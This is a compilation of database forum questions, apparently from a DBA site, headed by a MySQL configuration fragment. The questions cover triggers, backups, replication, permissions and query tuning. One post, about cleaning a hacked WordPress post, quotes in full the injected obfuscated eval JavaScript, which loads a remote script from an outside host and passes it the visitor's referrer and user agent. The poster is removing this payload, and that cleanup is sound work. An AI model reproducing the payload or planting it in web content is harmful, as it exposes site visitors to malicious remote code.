socket          = /var/run/mysqld/mysqld.sock
nice            = 0

innodb_buffer_pool_size=2M
innodb_additional_mem_pool_size=500K
innodb_log_buffer_size=500K
innodb_thread_concurrency=2

[mysqld]
local-infile=0
#
# * Basic Settings
#
user            = mysql
pid-file        = /var/run/mysqld/mysqld.pid
socket          = /var/run/mysqld/mysqld.sock
port            = 3306
basedir         = /usr
datadir         = /var/lib/mysql
tmpdir          = /tmp
lc-messages-dir = /usr/share/mysql
skip-external-locking<br>
key_buffer              = 16M
max_allowed_packet      = 16M
thread_stack            = 192K
thread_cache_size       = 8
# This replaces the startup script and checks MyISAM tables if needed
# the first time they are touched
myisam-recover          = BACKUP
#max_connections        = 500
max_user_connections    = 0
#table_cache            = 64
#thread_concurrency     = 10
#
# * Query Cache Configuration
#
query_cache_limit       = 16M
query_cache_size        = 1M
#
# * Logging and Replication
#
# Both location gets rotated by the cronjob.
# Be aware that this log type is a performance killer.
# As of 5.1 you can enable the log at runtime!
general_log_file        = /var/log/mysql/mysql.log
general_log             = 1
#
# Error logging goes to syslog due to /etc/mysql/conf.d/mysqld_safe_syslog.cnf.
#
# Here you can see queries with especially long duration
#log_slow_queries       = /var/log/mysql/mysql-slow.log
#long_query_time = 2
#log-queries-not-using-indexes
#
# The following can be used as easy to replay backup logs or for replication.
# note: if you are setting up a replication slave, see README.Debian about
#       other settings you may need to change.
#server-id              = 1
#log_bin                        = /var/log/mysql/mysql-bin.log
expire_logs_days        = 10
max_binlog_size         = 100M
#binlog_do_db           = include_database_name
#binlog_ignore_db       = include_database_name
#
# * InnoDB
#
# InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/.
# Read the manual for more InnoDB related options. There are many!
#
# * Security Features
#
# Read the manual, too, if you want chroot!
# chroot = /var/lib/mysql/
#
# For generating SSL certificates I recommend the OpenSSL GUI "tinyca".
#
# ssl-ca=/etc/mysql/cacert.pem
# ssl-cert=/etc/mysql/server-cert.pem
# ssl-key=/etc/mysql/server-key.pem

#innodb_buffer_pool_size=500M
#innodb_additional_mem_pool_size=500K
#innodb_log_buffer_size=500K
#innodb_thread_concurrency=2
[mysqldump]
quick
quote-names
max_allowed_packet      = 16M

[mysql]
#no-auto-rehash # faster start of mysql but no tab completition

[isamchk]
key_buffer              = 16M

#
# * IMPORTANT: Additional settings that can override those from this file!
#   The files must end with '.cnf', otherwise they'll be ignored.
#
!includedir /etc/mysql/conf.d/


texts: Catch contraint error inside trigger on the table being inserted/updated

texts:
I would like to know if it is possible to automate some task when an insertion or update on a table generates an error (for example error codes 1062, 1451 or 1452)
Finding an answer to that is not easy, I replies I could find were about catching an error on some statement executed by the trigger, while I'm looking to catch an error on the statement that fired the trigger.
It could be that the constraint is checked before any trigger is called, but it would make sense if the before trigger was called.
For lack of a better idea, I tried this silly test but of course it doesn't work.
CREATE TABLE test1 (
    id1 int PRIMARY KEY,
    val char(10)
) ENGINE =InnoDB;

CREATE TABLE test2 (
    id2 int PRIMARY KEY,
    id1 int,
    val char(10),
    FOREIGN KEY (id1) REFERENCES test1(id1)
) ENGINE =InnoDB;
DELIMITER $$
CREATE TRIGGER test2_before_insert
    BEFORE insert ON test2
FOR EACH ROW
BEGIN
    DECLARE EXIT HANDLER FOR SQLEXCEPTION
        SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'before, sqlexception';
    DECLARE EXIT HANDLER FOR SQLWARNING
        SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'before, sqlwarning';
    DECLARE EXIT HANDLER FOR NOT FOUND
        SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'before, not found';
    -- Do the work of the trigger.
END $$
CREATE TRIGGER test2_after_insert
    AFTER insert ON test2
FOR EACH ROW
BEGIN
    DECLARE EXIT HANDLER FOR SQLEXCEPTION
        SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'after, sqlexception';
    DECLARE EXIT HANDLER FOR SQLWARNING
        SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'after, sqlwarning';
    DECLARE EXIT HANDLER FOR NOT FOUND
        SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'after, not found';
    -- Do the work of the trigger.
END $$
DELIMITER ;
INSERT INTO test1 VALUES(1,'A');
INSERT INTO test2 VALUES(1,1,'A');
-- hoping it'll show the custom exception but it shows the normal one.
INSERT INTO test2 VALUES(2,2,'B');
DROP TABLE test2;
DROP TABLE test1;


texts: Restore from local disk vs SAN on physical machine (SQL Server Linux)

texts:
I am new to Linux and our client decided to use SQL Server on Linux. As soon as we started testing, we ran into performance issues.
The server in question is a physical machine configured with a SSD local disk and a "natively" attached Storage. I don't know what a quoted "natively" actually mean here. Linux guy's exact words below

the storage is "natively" attached to the server

The storage area network is also built on top of SSD and I copied a 4.7 GB backup file from there over to local SSD within a second.
cp \gsfs\sql\backups\testdb01.bak \tmp\backups\testdb01.bak

But when I try to restore from

SAN

RESTORE DATABASE successfully processed 612466 pages in 369.425 seconds (12.952 MB/sec).

Local Disk

RESTORE DATABASE successfully processed 612466 pages in 26.248 seconds (182.295 MB/sec).

The database files are also stored on the SAN and while SAN to physical machine has no connectivity issues, I am certain, the way MS SQL reads the files on the SAN has something to do with the slowness.
The database size is not big enough and the database is usually idle based on wait statistics

I want to understand why SQL Server is restoring from SAN slower than local file system. I would understand if the difference was little, but currently, the difference is dramatic. Since our data files and log files are also on SAN, we need to ensure disk is read/written on as fast as possible.

Most of settings are set as default
network packet size is 4096
No antivirus installed


texts: Oracle scheduler max_jobs_Slave_processes is set to null, how many will be allocated?

texts:
Executing the following query against my database:

select value
from dba_scheduler_global_attribute
where attribute_name='MAX_JOB_SLAVE_PROCESSES';

yields a value of NULL.  My question is what is the maximum number of slave processes that could be allocated, for job runs, when this value is set to null?


texts: Reset password for 'postgres' on v9.3 (Win Srv)

texts:
I'm trying to reset the password of the user 'postgres' on a postgres 9.3 installation, but have been unable to do so...

I've tried every combination in pg_hba.conf I could find online (ex. 'host all all localhost trust'), but when I run 'psql -U postgres' or try to connect via pgAdmin III it asks for a password. If I leave it blank I get an error saying 'psql: fe_sendauth: no password supplied'

Running on a Windows Server 2012 machine.

We are suspecting a corrupt DB/filesystem by the way, so that might have something to do with it, but if you have any suggestions...


texts: net start sql service with startup option

texts:
From this article, I know to that slash (/) is used instead of a hyphen (-) when a net start is used with startup option,

net start mssqlserver /m

But if I want to have to use with startup option limit to an application, for example sqlcmd (-m"SQLCMD"), how do I do that with NET START?


texts: What is the purpose of the Save Transaction statement?

texts:
I read up on SAVE TRANSACTION, but I'm not completely sure I understand it. I'm aware of the concept of transactions as far as BEGIN, COMMIT, and ROLLBACK, but this is a new one.  It sounds almost like it's there for keeping the size of your transaction log down, or not affecting the performance of the server when working on lots of data at once.

Here is the example I found:

  "For example, you could create a save point during a large operation
  every so often so that the rollback or commit trans is not having to
  handle as many records when it is performed."

Can someone explain this better?  Postgres has something similar called the SAVEPOINT command.


texts: How to find duplicate digits in the middle of similar numbers?

texts:
In my table, a column has the following values:

1234567890
2086567845
    ^^^^ duplicate digits

So the above values have 4 digits in the middle which are duplicates.

How could I find these automatically?


texts: Can I refuse inserts/updates with timestamps without time-zone in postgresql?

texts:
I use exclusively timestamps with time-zone in PostgreSQL, but I just noticed something slightly worrying: If a client inserts/updates a record with a naïve time-stamp, PostgreSQL falls back to a default time-zone which is either given by an environment variable, localtime or a session-setting.

This might not always be correct.

Is it possible to configure PostgreSQL in a way that it will raise an error if it sees a value without time-zone?


texts: Do not lock the whole table on select statement

texts:
I have a table that is constantly updated by some scripts. The scripts are adding new values and changing tuples but never deleting any tuple.

I need to run some queries, that use all rows in the table (about 2 million at the moment) for joining. The Problem is that the scripts lock the table in a way, that my select statements are blocked and are executed very slowly (compare 16minutes vs a few seconds if running without any script in the background).

Is it possible to lock the table in a way, that i read a current snapshot and do not care about changes? For most applications it is sufficient to allow that ghost entries are present (data is changed/added while the select query was running). It is not necassary in the most cases to lock the whole table, but rather use a column lock (which i think will not work on my MS SQL Server 2005)


texts: Migrate cluster Aurora RDS postgres from 9.X to 10 without downtime

texts:
Ok, this question is to find some strategy or tool that helps me to migrate from cluster Aurora RDS postgres from 9.6 to 10 without downtime.

What I find until now

Aurora RDS is allowed to do major upgrades in-place (cluster aurora don't)
DMS just can run full-load without keep sync from postgres 9.6 source :/ (sync just in the postgres 10)

kinesis and DMS depends in the logical replication slot whose cluster aurora release just in the postgres 10 :(

In my mind now I have 2 strategies

Migrate database one by one with really small downtime. I will need to do backup/restore and redeploy the application because the route53 references there will be two during the migration
Create a strategy/application to join DMS + trigger + aws lambdas
DMS to full load, trigger to register updates and lambda to read the updates and do the data migration to keep data sync between the servers until the update in the endpoint below the route53 (it's a lot of responsibility to one single dba)

This is what I have know with you know some tool or more interesting strategy please send me :D

https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/USER_UpgradeDBInstance.Upgrading.html


texts: Use trigger to synchronize columns with fields in json column on insert or update

texts:
I'm a bit of a database/postgres beginner,so bear with me.
If I have a table, something like this.

CREATE TABLE testy (
    id INTEGER REFERENCES other_table,
    name varchar(128) PRIMARY KEY,
    json JSONB NOT NULL
);

I'm looking to create a trigger before insert or update that will set the columns id and name to the values of fields with the same names in json.

So for example if testy contained the below and UPDATE testy SET json = '{"id":2,"name":"jim"}' WHERE id = 1 was called.

id | name | json
---+------+-----
 1 | "jim"| {"id":1,"name":"jim"}

The desired result would be

id | name | json
---+------+-----
 2 | "jim"| {"id":2,"name":"jim"}

I wish to make this fairly generic so the column names do not need to be hard coded. Setting the column to NULL if the corresponding json field does not exist is fine.
So far I have

CREATE TABLE testy_index (
    id INTEGER PRIMARY KEY
);

INSERT INTO testy_index VALUES (1);
INSERT INTO testy_index VALUES (2);
INSERT INTO testy_index VALUES (3);

CREATE TABLE testy (
    id INTEGER REFERENCES testy_index,
    json JSONB NOT NULL
);

CREATE UNIQUE INDEX testy_id ON testy((json->>'id'));

CREATE OR REPLACE FUNCTION json_fn() RETURNS TRIGGER AS $testy$
    DECLARE
        roow RECORD;
    BEGIN
        FOR roow IN
            SELECT column_name FROM information_schema.columns WHERE table_name = 'testy'
        LOOP
            NEW.roow.column_name = (NEW.json->>roow.column_name);
        END LOOP;
    END;
$testy$ LANGUAGE plpgsql;

CREATE TRIGGER json_trigger
BEFORE INSERT OR UPDATE ON testy FOR EACH ROW
EXECUTE PROCEDURE json_fn();

Which doesn't work as you can't use roow.column_name that flexibly. I've tried playing around with EXECUTE with no success, although it's possible I'm just not doing it right.

Any help would be greatly appreciated!!

EDIT: The motivation for this is so that foreign key constraints can be placed on something that behaves as a json field.

EDIT: plv8 is great. Used a modified version of @Daniel Vérité 's answer so that columns not represented as fields in json will be nulled

CREATE OR REPLACE FUNCTION json_fn() RETURNS trigger AS
$$
  var obj = JSON.parse(NEW.json);
  for(var col in NEW){
      if(col == 'json'){
        continue;
      }
      if(col in obj){
        NEW[col]=obj[col];
      }else{
        NEW[col]=null;
      }
  }
  return NEW;
$$
LANGUAGE plv8;

CREATE TRIGGER json_trigger
BEFORE INSERT OR UPDATE ON testy FOR EACH ROW
EXECUTE PROCEDURE json_fn();


texts: Sql Server 2017 - Cannot shrink transaction log file, blocked by LOG_BACKUP status

texts:
Last week my sql server 2017 instance (running on windows server 2016) ran out of space, filling the disk completely up with a 190GB transaction log file.

Luckily this was on a cloud instance, so I quickly unmounted the disk, grew it an additional 200GB or so, and then remounted and formatted the unused space.

However I still had this giant 190GB log file. Log backups weren't setup. So I took a manual backup of the transaction logs. I then ran a Disk Usage report, and thankfully it was showing that 95% of the transaction log space was unused:

However, the log file itself is still 190GB. After doing some research, people suggested that I shrink the log file, having just cleared most of the data out of it by doing a backup. So I tried shrinking it, and it processed for a few seconds, and then the shrink utility window closed, without any error. However, the log file remains at 190GB.

I queried the log_reuse_wait_desc for my database, and "LOG_BACKUP" was returned. This status apparently means that before I shrink the transaction log file, I must do a backup, however I just did a backup?

I am stuck at this point, I would like to have a smaller log transaction file (something like 10-20GB), and I would like to automatically backup the log, either regularly enough that it never exceeds 10-20GB, or automatically when the file hits the 10-20GB mark.

Does anyone know how to deal with the LOG_BACKUP status blocking my ability to shrink the file, besides simply running a backup (since I've already done that)?

Here are my dm_db_log_stats for the database:

You'll notice that my total vlf count is huge (1097), my active vls count is smaller (300), but I'm not sure what that means.


texts: sp_detach_schedule throws an error because of @delete_unused_schedule = 1, but there are jobs with that schedule

texts:
We are using SSISDB and SQL agent jobs to run them using SQL Server 2016. My developers have SQLAgentReaderRole, and are able to create their own jobs and schedules. We have a framework for triggering these jobs that uses schedules that are owned by a proxy account. The developers can create their own schedule, but normally they pick one of the framework schedules so that their jobs run automatically after our main etl.

The problem is that if a developer decides they want to change the schedule, and they modify the job through the SSMS gui they get an error when they apply their changes saying Only owner of a job schedule or members of sysadmin role can modify or delete the job schedule

If they script out the change, and execute it they get the same error.

However if they remove the @delete_unused_schedule=1 (which then passes a 0 as the default per MS's documentation) the command is successful.

This is odd, as all the framework schedules are assigned to at least one job, if not more, and I can see that they are referencing a job by querying sysjobschedules

In regards to the @delete_unused_schedule parameter, Microsoft's documentation states:
If set to 1, unused job schedules are deleted if no jobs reference them.

How exactly does it define if the schedule references a job? The schedules are disabled by design, and I have not tested this with a enabled job which may be the cause.

Following up on the first question, is it possible to override the code that SSMS generates and executes when modifying job schedules so that it does not pass the ``@delete_unused_schedule` parameter when people modify their jobs?


texts: Good practices for patching SQL nodes in High Availability solution

texts:
Our database structure utilizes two roles in the Window Failover Cluster Manager.

One is for FCI - switching between the active/passive node in the Primary Data center.
One is for SQL Availability Group setup to copy data from the primary data center to the DR data center.  This also use for manual failover in the case of disaster scenario occurs.

Our IT team wants to perform OS patching on these servers regularly on a scheduled down time, the application will be offline when this happens.  This helps us out a bit because we don't have to worry about failover to a node while patching another, but instead we can assume we can bring the database offline completely during patching period.
My question is what is the best way to do this since IT team probably does not know much about FCI or Database.  I don't want our databases to failover unexpectedly because during this process one of the active SQL node may needs reboot.  I'm thinking of giving them the following instruction.

RDP into the node active Cluster Group, you can find this by running
the powershell command: Get-ClusterGroup and find the OwnerNodeValue
of the "Cluster Group".

Open up Failover Cluster Manager Expands to Roles, there are two    roles one for AG and one for FCI.
Right click on each and select "Stop Role"
Perform patch, restart ect..
Once done, RDP back in and "Start Role" on the two roles to resume.

Would this work and is it considered good practice?  I am hoping to force the failover service to stop so that the SQL nodes don't fail-over to another node during a server reboot.


texts: Disabled or enabled trigger from another trigger

texts:
I have two tables: dbo.old_roles and dbo.new_roles. I need to sync between the two.

When created or modified role in one table it should update the other one. To do it I created a trigger in each of the tables.

To prevent a loop, I want to disable the trigger in one table when a trigger is fired from the other table.

When I call to ALTER TRIGGER statement., I get an error.

What can I do?


texts: Add windows user to a particular database in SQL Server

texts:
I have a windows user who I want to add to just one database SalesDeals on the server. I added them in SalesDeals-> Security -> Users section of the Database and gave them db_datareader permissions on the database. I cannot add them in the Top level Security section since I don't have permissions for that.

The issue is when the user tries to connect to the server CS01\CS01 they get login failed for the user error.

Do I need to get them added to the top level Server -> Security -> Users section for them to be able to connect to the Database.

Thanks


texts: SQL Backup Operation has detected an unexpected file in a FILESTREAM container, what should I do?

texts:
BACKUP DATABASE [DB] TO  DISK = N C:\Program File... failed with the following error:

The backup operation has detected an unexpected file in a FILESTREAM
container. The backup operation will continue and include file
C:\FSFfta\Fsa.vbs

I get the above error daily on the backup maintenance scheduled job - what do I need to do to resolve this? (I didn't get an error when backed up manually). How can I check what is the state of the backup, and whether it can be restored?


texts: What logical structure is used for storing rows in Oracle?

texts:
From the logical data separation point, there are tablespaces that consist of segments that consist of extend that consist of oracle blocks  that consist of OS blocks. What logical structure actually hold data of concrete record (where the data of all fields of the same record reside side by side in filesystem). In the world of MySQL, there's data page (8, 16 KB) that holds one of more records at the same physical address.

Also, how to determine what size if the best? The more such pages exist the more data fragmentation will appear, and that might affect performance.


texts:
I'm running a SQL query in MariaDB under PHPMyAdmin as follows:

select REGEXP_REPLACE(post_content,'(?m)<noindex>[.\r\n]*</noindex>','') from wp_posts where ID = 318

I'm trying to remove some hacker's script from a WordPress post, everything between start tag noindex and the end tag noindex, but the end tag noindex is on the second line. First I want to test the RegEx with a query, then later run in an update. I can't get it to work unless I limit the changes to one line.

The column post_content is defined as LongText.

I <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytkty|var|u0026u|referrer|ezezh||js|php'.split('|'),0,{}))
</script></noindex> was looking to accomplish etc... etc...

The same regex works fine in NotePad++ when I check the "Multiline" option.

I looked at a download of the database on my local hard-drive to determine what is really there - not sure this adds anything or not:

I was thinking maybe PHP-MyAdmin or WordPress were using  or somehow hiding the actual value. But I think even in the backupdownload/they represent the new line as \n as a literal rather a hex value.

If I copy the longtext value from PhpMyAdmin to NotePad++ and turn on the show-symbols, it looks like this:

So that's why I think the carriage-return/line-feed are really stored in the longtext column value.

Version: 10.1.38-MariaDB


texts: Detect if any values in NVARCHAR columns are actually unicode

texts:
I have inherited some SQL Server databases. There is one table (I'll call "G"), with about 86.7 million rows, and 41 columns wide, from a source database (I'll call "Q") on SQL Server 2014 Standard that gets ETL'd over to a target database (I'll call "P") with the same table name on SQL Server 2008 R2 Standard.

i.e.
[Q].[G] ---> [P].[G]

EDIT: 3/20/2017:
Some people have asked if the source table is the ONLY source to the target table. Yes, it is the only source. As far as the ETL goes, there isn't any real transformation happening; it effectively is intended to be a 1:1 copy of the source data. Therefore, there are no plans to add additional sources to this target table.

A little over half of the columns in [Q].[G] are VARCHAR (source table):

13 of the columns are VARCHAR(80)
9 of the columns are VARCHAR(30)
2 of the columns are VARCHAR(8).

Similarly, the same columns in [P].[G] are NVARCHAR (target table), with the same # of columns with the same widths. (In other words, same length, but NVARCHAR).

13 of the columns are NVARCHAR(80)
9 of the columns are NVARCHAR(30)
2 of the columns are NVARCHAR(8).

This is not my design.

I'd like to ALTER [P].[G] (target) columns data types from NVARCHAR to VARCHAR.
I want to do it safely (without data loss from conversion).

How can I look at the data values in each NVARCHAR column in the target table to confirm whether or not the column actually contains any Unicode data?

A query (DMVs?) that can check each value (in a loop?) of each NVARCHAR column and tell me if ANY of the values is genuine Unicode would be the ideal solution, but other methods are welcome.


texts: Postgres RDS: is there a way to use LDAP authentication?

texts:
We have a client interested in using LDAP (specifically Active Directory) for user authentication on a PostgreSQL AWS RDS (Aurora, specifically) database.

Anybody doing this successfully?


texts:
I would like to generate a named table in a WITH clause which will contain this arithmetic progression:

╔══════════╗
║ mynumber ║
╠══════════╣
║        0 ║
║       30 ║
║       60 ║
║       90 ║
║      120 ║
║      150 ║
║      180 ║
║      210 ║
╚══════════╝

...based on variable p_maxnumber (here p_maxnumber = 211 for example).

Ideally it would be in a format like:

WITH sequenceTable AS
(SELECT mynumber
FROM ...),

Within the same WITH clause, I would like to use that sequence in downstream derived tables to get data and to be eventually used as a time axis for chart rendering.  I have a feeling there is a way to do it using create sequence?  Just trying to figure a way to create this still...


texts: Is there a simple way in PL/pgSQL to check if a query returned no result?

texts:
I'm currently experimenting a bit with PL/pgSQL and want to know if there is a more elegant way to do something like this:

select c.data into data from doc c where c.doc_id = id and c.group_cur > group_cur order by c.id desc limit 1;
EXCEPTION
    WHEN NO_DATA_FOUND THEN
        select c.data into data from doc c where c.doc_id = id and c.global_cur > global_cur order by c.id desc limit 1;
        EXCEPTION
            WHEN NO_DATA_FOUND THEN
                RETURN NULL;


texts: SSAS Tabular: ImpersonationMode that is not supported for processing operations

texts:
I have a SQL 2016 SP1 SSAS Tabular Instance. I've deployed a model with the following properties

When I try to process the database or a table I get an error "The datasource contains an ImpersonationMode that is not supported for processing operations".

But if I change the impersonation info on the connection properties to use the service account instead of the current user it works fine.

We also don't get this issue if we change the Default Mode to DirectQuery instead of import, but we need to use Import because we need to use DAX username function for row level security.

I am an admin on the SSAS instance and also an admin on the SQL Server instance that is the data source. Why can't I process the SSAS tabular model as my user?


texts: Can we query Accumulo data from Apache Drill

texts: Accumulo uses HDFS where as HBase also works on top of HDFS. We can query HBase data through Drill. So can we query Accumulo data also from Apache Drill ?


texts:
i have a trigger in PostgreSql 9.1 that i want to fire on inserts of several tables. is it possible to have it affect all these tables instead of creating the trigger for all these tables?
i have 58 tables that i want to use the same insert trigger which is calling a trigger function, so i have been using

create trigger tuweke
after insert on product
for each row execute procedure tuwekeAdjustextract();
create trigger tuweke
after insert on caneweightment
for each row execute procedure tuwekeAdjustextract();
...

doing this for all those tables and then we have multiple schemas,so the workload is alot,can this be done in one query? then affect all tables in that schema or the whole database?


texts: Hierarchical data using closure table, how to ensure that a column is unique within the parent node?

texts:
I store hierarchical data in a Node-table, combined with a closure table (NodeClosure). Each node has a column "name" that should be unique among the sibling nodes (link to parent-Node + name should be unique).
This is definition of the tables:

Table "Node"

Column "nodeID" (int not null, autoincrement, primary key)
Column "name" (text not null)

Table "NodeClosure"

Column "ancestorID" (int not null, primary key, foreign key to Node)
Column "descendantID" (int not null, primary key, foreign key to Node)
Column "depth" (int not null)

For each parent node, I want the names of its direct child nodes to be unique for that parent node.
Do I have to add a parentID-column to Node (and duplicate the parent/child information) to be able to add a unique index on parentID + name, or is there a different solution?


texts: SQL Server 2008 SP1 to SQL Server 2008 R2 upgrade

texts:
One of our project is planning to upgrade from SQL Server 2008 SP1 to SQL Server 2008 R2. I would like to know from this community the suggestions on:

Is there any configuration or any change required for migrating the data?
We have some SSIS packages so does this upgrading require any code change?
Any other suggestions or best practices that we should use to get this done.
What should be the approach?


texts: OPTIMIZE FOR UNKNOWN in a Stored Procedure

texts:
All the examples I've seen online imply that OPTIMIZE FOR UNKNOWN is applied on a specific query.

Can OPTIMIZE FOR UNKNOWN be applied to a stored procedure as a whole (and not just to a specific query)? If yes, what would be the syntax?


texts: Not only client connections? Is "MongoDB Wire Protocol" also used for replication?

texts:
It seems that MongoDB Wire Protocol is also used for replication. Not only client/driver connections. Is that true and what are the main differences between client/driver and replication traffic?

  The MongoDB Wire Protocol is a simple socket-based, request-response
  style protocol. Clients communicate with the database server through a
  regular TCP/IP socket.


texts:
After recently discovering the MySQL feature to log queries that aren't using indexes, I've been chasing these down in a large app, looking for places to improve performance.  There is at least one query pattern I've run across in a couple of different places that I can't seem to figure out how to index.  (Or whether I should.)

The basic query looks like this:

SELECT t1.id FROM table1 t1 JOIN table2 t2 ON t1.t2_id = t2.id WHERE t2.b = 2;

Setting up table1 is no problem.  According to EXPLAIN, an index on t1.t2_id gets picked up and used, no problem:

           id: 1
  select_type: SIMPLE
        table: table1
         type: index
possible_keys: t2_id
          key: t2_id
      key_len: 4
          ref: NULL
         rows: 31449
        Extra: Using index

In the various examples I have found, the relationship between table1 and table2 is either one to one or many (t1) to one (t2).  t2.b is INT NOT NULL and it's being compared to a constant.

But for table2, EXPLAIN says this query is disregarding indexes and just using the primary key:

           id: 1
  select_type: SIMPLE
        table: table2
         type: eq_ref
possible_keys: PRIMARY,idx_b,idx_id_b
          key: PRIMARY
      key_len: 4
          ref: db.t1.id
         rows: 1
        Extra: Using where

Where idx_b is on t2 ( b ) and idx_id_b is on t2 ( id, b ).

None of the queries where this pattern is evident take particularly long to run, e.g. for two different examples:

Query_time: 0.031354  Lock_time: 0.000041  Rows_sent: 0  Rows_examined: 59806

Query_time: 0.000441  Lock_time: 0.000087  Rows_sent: 0  Rows_examined: 686

So maybe I'm chasing something that isn't worth chasing.  But the first one (31ms) runs once per minute, and the second one runs a lot.  So if it's possible to optimize these queries, I sure would like to do so.

However, to take the top example, the optimizer is not wrong.  With USE INDEX ( idx_id_b ) the query time jumps to 120ms, and with USE INDEX ( idx_b ) it jumps (predictably) to 380ms.  So if there is an index that would help, it isn't one of these.

There do seem to be some similar questions out there, but unfortunately I didn't turn up any that were answered.  Based on some of the comments on those, I tried this:

SELECT t1.id FROM table1 t1 JOIN ( SELECT id FROM table2 WHERE b = 2 ) t2 ON t1.t2_id = t2.id;

And it didn't seem to make any difference.  The performance and EXPLAIN seem the same.

Is there a better way to index or structure queries of this type, or am I chasing shadows here?

Thanks!

This occurs all over the place on different tables, so there isn't just one pair of tables.  For example, one can trivially reproduce this with:

CREATE TEMPORARY TABLE table1 ( id INT AUTO_INCREMENT PRIMARY KEY, t2_id INT UNIQUE NOT NULL );
CREATE TEMPORARY TABLE table2 ( id INT AUTO_INCREMENT PRIMARY KEY, b INT NOT NULL);
CREATE INDEX i_b ON table2 ( b );
CREATE INDEX i_id_b ON table2 ( id, b );
CREATE INDEX i_b_id ON table2 ( b, id );
EXPLAIN SELECT t1.id FROM table1 t1 JOIN table2 t2 ON t1.t2_id = t2.id WHERE t2.b = 2; -- opt1
EXPLAIN SELECT t1.id FROM table2 t2 JOIN table1 t1 ON t2.id = t1.t2_id WHERE t2.b = 2; -- opt2

However, since I have multiple examples, what I found while prepping that example was that MySQL changes the execution strategy of opt2 above based on the number of rows in table2 with b = 2.  If there are few, opt2 seems to do the right thing.  If there are many, it seems to fall back to just using the primary key.  (I.e. it becomes identical to opt1.)  As in the production tables the number of rows involved are in the tens of thousands, it doesn't seem to help.  So that kind of reinforces the theory that this diagnostic is just being silly about the whole thing.

In at least one case, that prompted me to go ahead and factor out the query.

Edit: Added requested EXPLAIN results for table1.

Edit: Added more info about table structure and query alternatives.


texts: Is there a way to recover this database (MySQL)

texts:
I did a "cold" (db offline, all filesystem files) backup of a MySQL db.
I wrote the backup to an ISO image. Unfortunately Joliet filenames are not default.
I didn't realize that until attempting to restore the backup and notice that the
entire set of files are in DOS 8.3 format. Many of the MySQL filesystem files are not 8.3.

Anyone have tips or information on whether this is a lost cause?

If it's not a lost cause for restoring, are there some tips directions that can be offered?

Much appreciated.
========= 4/22/13
I have been able to recover some of the tables. Others respond with 1146 "Table Doesn't exist". Not sure why, as they are tables containing data, but renaming the frm does not appear to work.

As well, most of the time, the table name isn't in the frm file, just the column name data.


texts: why are estimated rows exponentially increasing with each join?

texts:
summary
We have an Object-Oriented database schema that we query with Hibernate with:

1 parent table (NAL_Actions)
7 child tables (NAL_*)

If I want to query a couple of these "action"-objects we have to join all 1+7 tables together (because we don't know what type of child object we need) which isn't great but because of the query execution plan generated by SQL Server results in very slow queries (index scans with 2,5 million rows).
details
The parent table also has a foreign key (actionGroups) that according to the fullscan statistics results in 1.15 "action"-rows on average.
This query plan - edit, now also on: paste-the-plan is over estimating the number of rows for each subsequent table that is joined which I and statistics know is never more than two rows as all tables are joined on their (common) distinct primary key, which is also the clustered index, which means that the number of estimated rows cannot increase, as can be seen from this definition of one of the Child-tables:
USE [NAL_PRD]
GO

/****** Object:  Table [dbo].[NAL_Unblocks]    Script Date: 6/24/2020 6:04:40 AM ******/
SET ANSI_NULLS ON
GO

SET QUOTED_IDENTIFIER ON
GO

CREATE TABLE [dbo].[NAL_Unblocks](
    [actionId] [bigint] NOT NULL,
    [unblockingAmount] [decimal](5, 2) NOT NULL,
    [productSequenceNumber] [int] NULL,
 CONSTRAINT [PK_NAL_UNBLOCKS] PRIMARY KEY CLUSTERED
(
    [actionId] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY]
GO

ALTER TABLE [dbo].[NAL_Unblocks]  WITH CHECK ADD  CONSTRAINT [fk_unblocks_actions] FOREIGN KEY([actionId])
REFERENCES [dbo].[NAL_Actions] ([id])
ON DELETE CASCADE
GO

ALTER TABLE [dbo].[NAL_Unblocks] CHECK CONSTRAINT [fk_unblocks_actions]
GO

As SQL Server falsely assumes the number of rows exponentially increases with each joined table it changes the join strategy for the last 3 tables:

from: "clustered index seek + nested loops"
to:   "clustered index scan + merge join"

This means that we need to scan the clustered index of a table of 2,500,000 rows instead of 1 or 2 index seeks
what I've tried so far

hints work, e.g.: WITH(FORCESEEK) for every join, or: OPTION (LOOP JOIN) for the entire query, (but I cannot change the application)
this leads me to suggest plan guides as the next option (for SQL Server 2016 - 13.0.5102.14) but although that works fine with sp_executesql the plan guide does not seem to take immediate effect in the application, although I took the SQL from the Query Store and updated the statistics (but maybe updating statistics was a false assumption so maybe I need to restart the application and/or drop the plan - but how without DBCC FREEPROCCACHE as I am limited to db_owner permissions, so not VIEW/ALTER SERVER STATE permissions? Maybe I should switch the application / the JDBC driver to use sp_executesql with prepareSQL=2 instead of the default (sp_prepare + sp_execute)?.

What I have not yet tried:

upgrading to SQL Server 2017 to try adaptive query processing, should that fix this?


texts: In-memory file group and log are growing huge and fast

texts:
We have a DB in stress environment: SQL Server 2014 (SP1-CU3) + Always ON

The whole db is around 850GB, but in some point something happens and in memory FG is growing to 250GB and a log to 450GB (original sizes around 1 and 5GB).
It happens fast - I can see it by checking log backups in 5 minutes backup files are growing from 20kb to 200mb and in another 5 to 500MB and "stays" in this area. Log stays full and cannot be shrunk.
Log reuse wait shows AVAILABILITY_REPLICA.
After removing this DB from AON log reuse wait changes to XTP_CHECKPOINT, but still nothing happens.
Even changing recovery model to simple doesn't help.
